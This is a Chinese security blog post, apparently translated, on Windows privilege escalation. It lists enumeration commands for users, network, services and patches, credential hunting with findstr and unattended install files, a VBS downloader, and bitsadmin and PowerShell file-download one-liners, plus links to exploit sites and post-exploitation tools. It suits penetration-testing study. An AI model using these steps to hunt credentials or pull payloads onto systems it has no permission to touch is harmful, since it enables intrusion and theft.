windows权限提升基础知识

暗月博客 2019年11月21日21:28:20评论855 views字数 5126阅读17分5秒阅读模式
摘要

  介绍 这篇文章是介绍window的权限提升 ,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。

 

windows权限提升基础知识

介绍


这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。


window权限提升基础知识


初始信息收集

在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,

确定操作系统名称和版本

1
C:/Users/sanr> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

查看主机名

1
C:/Users/sanr> hostname

查看所有环境变量

1
C:/Users/sanr> SET

查看用户跟用户详细信息

1
2
C:/Users/sanr> net user
C:/Users/sanr> net user sanr

查看在线用户

1
C:/Users/sanr> query user

查询终端端口

1
C:/Users/sanr> REG query HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server/WinStations/RDP-Tcp /v PortNumber

网络连接

让我们来看看该系统的网络设置 - 基本网络,路由,防火墙等。

查看ip dns地址

1
C:/Users/sanr>ipconfig /all

要查看路由表

1
C:/Users/sanr> route print

要查看ARP缓存:

1
C:/Users/sanr> arp -A

查看网络连接

1
C:/Users/sanr> netstat -ano

要查看防火墙规则:

1
2
3
C:/Users/sanr> netstat -ano
C:/Users/sanr> netsh firewall show config 
C:/Users/sanr> netsh firewall show state

应用程序和服务

查看系统上的计划任务

1
C:/Users/sanr> schtasks /QUERY /fo LIST /v

要查看服务的进程ID:

1
C:/Users/sanr> tasklist /SVC

要查看已安装驱动程序的列表:

1
C:/Users/sanr> DRIVERQUERY

查看已经启动Windows 服务

1
C:/Users/sanr> net start

查看某服务启动权限

1
2
3
4
5
6
7
8
9
10
11
12
C:/Users/sanr> sc qc mysqla
[SC] QueryServiceConfig 成功
SERVICE_NAME: mysqla
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "D:/Program Files/phpstudy/mysql/bin/mysqld.exe" MySQLa
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MySQLa
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

利用WMIC获取有价值的数据

查看其版本的已安装程序的列表

1
C:/Users/sanr> wmic product list brief

查看服务,进程或启动程序的列表:

1
2
3
C:/Users/sanr> wmic service list brief # Lists services
C:/Users/sanr> wmic process list brief # Lists processes
C:/Users/sanr> wmic startup list brief # Lists startup items

检查已安装的更新和安装日期

1
C:/Users/sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn

搜索,您可以使用提升权限的特定漏洞

1
2
C:/Users/sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx" 
# Replace with a patch version that you are searching for. Eg - KB3000061

执行上面的命令的没有输出,意味着那个补丁未安装。

敏感数据和directories

检查未加密的密码,或敏感信息的文件多汁:

1
2
3
4
5
C:/Users/sanr> cd/ 
C:/Users/sanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.
C:/Users/sanr> dir /b/s config.* # Will search for all files starting with 'config' on the filesystem.
C:/Users/sanr> findstr /si password *.xml *.ini *.txt 
C:/Users/sanr> findstr /si login *.xml *.ini *.txt

除此之外,您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中,其中单个系统的手动安装是不切实际的找到这些文件。这些文件的共同位置是:

1
2
3
4
C:/sysprep.inf
C:/sysprep/sysprep.xml
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml

目录文件操作

列出d:/www的所有目录:

1
for /d %i in (d:/www/*) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的显示出来:

1
for /d %i in (???) do @echo %i

以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:

1
for /r %i in (*.exe) do @echo %i

以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出

1
for /r "f:/freehost/hmadesign/web/" %i in (*.*) do @echo %i

显示a.txt里面的内容,因为/f的作用,会读出a.txt中:

1
2
3
4
5
6
7
8
9
10
11
12
for /f %i in (c:/1.txt) do echo %i
RAR 打包
C:/Users/sanr> rar a -k -r -s -m3 c:/1.rar c:/folde
php读文件 
C:/Users/sanr> c:/php/php.exe "c:/www/admin/1.php" 
<?php
$file_handle = fopen("f:/config.asp", "r");
while (! feof($file_handle)) {
  echo fgets($file_handle);
}
fclose($file_handle);
?>

利用系统程序,文件下载

拥有了这些信息,我们现在可以开始实际提升我们的特权的过程。

利用vbs来让我们上传文件,是一个vbs下载者,原理是下载文件到这台计算机(需要访问网络):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
' downloadfile.vbs 
' Set your settings
strFileURL = "http://127.0.0.1/text.ico"
strHDLocation = "d:/text.ico"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing

这个脚本可以在任何版本的Windows上运行,要执行它,如下。

1
C:/Users/sanr> script.exe downloadfile.vbs

如果操作系统是Windows7及以上的,使用的bitsadmin跟powershell:

1
2
C:/Users/sanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:/text.ico
C:/Users/sanr> powershell (new-object System.Net.WebClient).DownloadFile('http://www.jd.com/favicon.ico','text.ico')

下载文件方式还有一些其他的方式,比如ftp php python,可根据自己的需求来选择。


其他资源


搜索exp跟shellcode

http://www.exploit-db.com

http://1337day.com

http://0day.today

http://www.securityfocus.com

http://seclists.org/fulldisclosure/

http://www.exploitsearch.net

http://www.securiteam.com

http://metasploit.com/modules/

http://securityreason.com

https://cxsecurity.com/exploit/

http://securitytracker.com/

优秀的文章,工具,资源,指南

rmusser01's GitHub document to Post Exploitation on Windows

Tim Arneaud on Windows Privilege Escalation

An article on WMIC

Luke Jennings on Group Policy Hijacking Attacks

Toying with the Windows API

enaqx - Excellent curated collection of content

PowerShellMafia's PowerSploit

The SysInternals suite

Windows Credential Editor

Mimikatz - Credential Extraction

GDSSecurity's Windows Exploit Suggester

SpiderLab's Responder - A LLMNR, NBT-NS and MDNS poisoner

PowerShellEmpire's Empire - Pure PowerShell post-exploitation agent

rabbitstack's fibratus - A tool for exploration and tracing of the Windows kernel

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://thel3l.me/blog/winprivesc/index.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:28:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows权限提升基础知识https://cn-sec.com/archives/73031.html

发表评论

匿名网友 填写信息